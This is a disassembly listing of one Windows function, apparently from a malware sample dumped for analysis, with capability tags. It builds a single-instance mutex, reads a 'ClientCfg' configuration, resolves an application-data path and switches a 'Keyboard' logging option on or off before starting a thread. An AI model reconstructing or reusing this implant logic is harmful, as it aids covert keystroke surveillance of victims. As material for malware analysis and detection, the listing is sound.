Function at 0x10004d50
Capabilities:
Check mutex on windows
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x10004d78
xor al, al
jmp 0x10004da1
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
jns 0x10004d9f
cmp eax, 0x80010119
je 0x10004d9f
xor al, al
jmp 0x10004da1
mov al, 1
mov ecx, str.Time
mov byte [0x10115f66], al
call fcn.10016330
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
push edi
call ebx
test eax, eax
jne 0x10004e37
lea eax, [ebp - 0x418]
push eax
call fcn.10028e36
add esp, 4
lea eax, [ebp - 0x418]
push eax
call fcn.10029109
add esp, 4
mov esi, eax
lea eax, [ebp - 0x408]
push 0x400
push 0
push eax
call fcn.10022540
mov eax, dword [esi + 0x10]
add esp, 0xc
inc eax
push dword [esi + 4]
push dword [esi + 8]
push dword [esi + 0xc]
push eax
mov eax, dword [esi + 0x14]
add eax, 0x76c
push eax
lea eax, [ebp - 0x408]
push str._d__d__d__d:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
lea edx, [ebp - 0x408]
mov ecx, str.Time
call fcn.10016260
lea edi, [ebp - 0x408]
push edi
xor esi, esi
call ebx
test eax, eax
jle 0x10004e4d
add word [edi + esi*2], 2
inc esi
push edi
call ebx
cmp esi, eax
jl 0x10004e40
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10004e81
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x414], 0
push eax
lea edx, [ebp - 0x414]
mov dword [ebp - 0x40c], 0
mov ecx, str.ClientCfg
call fcn.10016120
add esp, 4
cmp dword [ebp - 0x40c], 0x81
jne 0x10004ed3
push 0x81
push dword [ebp - 0x414]
push str.gt666
call fcn.10021a40
add esp, 0xc
call fcn.10018f00
mov ecx, 0x10056730
call fcn.10016330
mov esi, eax
push esi
call ebx
test eax, eax
je 0x10004f15
push esi
call fcn.10028d42
mov ecx, dword [0x1005eb98]
add esp, 4
cmp eax, ecx
je 0x10004f15
test eax, eax
je 0x10004f07
cmp eax, 6
jl 0x10004f15
cmp eax, 0x12c
cmovl ecx, eax
mov dword [0x1005eb98], ecx
cmp byte [0x1005ea50], 0
je 0x10005030
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 0x100574fc
push 0x10115f68
call esi
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.10022540
add esp, 0x14
lea eax, [ebp - 0x110]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x100574fc
lea eax, [ebp - 0x110]
push eax
push str._s_s
push 0x10115fa8
call esi
add esp, 0x10
mov ecx, str.Keyboard
call fcn.10016330
push eax
call ebx
mov ecx, str.Keyboard
test eax, eax
je 0x10004fc9
call fcn.10016330
mov esi, eax
push esi
call ebx
test eax, eax
je 0x10004fc0
push str.Enable
push esi
call fcn.10021395
add esp, 8
test eax, eax
je 0x10004fb2
mov al, 1
jmp 0x10005008
push str.Disable
push esi
call fcn.10021395
add esp, 8
mov byte [0x10115f65], 0
jmp 0x10005030
mov edx, str.Enable
call fcn.10016260
mov ecx, str.Keyboard
call fcn.10016330
mov esi, eax
push esi
call ebx
test eax, eax
je 0x10005006
push str.Enable
push esi
call fcn.10021395
add esp, 8
test eax, eax
jne 0x10004fae
push str.Disable
push esi
call fcn.10021395
add esp, 8
xor al, al
push 0
push 0
push 0
push 0x10012bd0
push 0
push 0
mov byte [0x10115f65], al
mov byte [0x10115f64], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret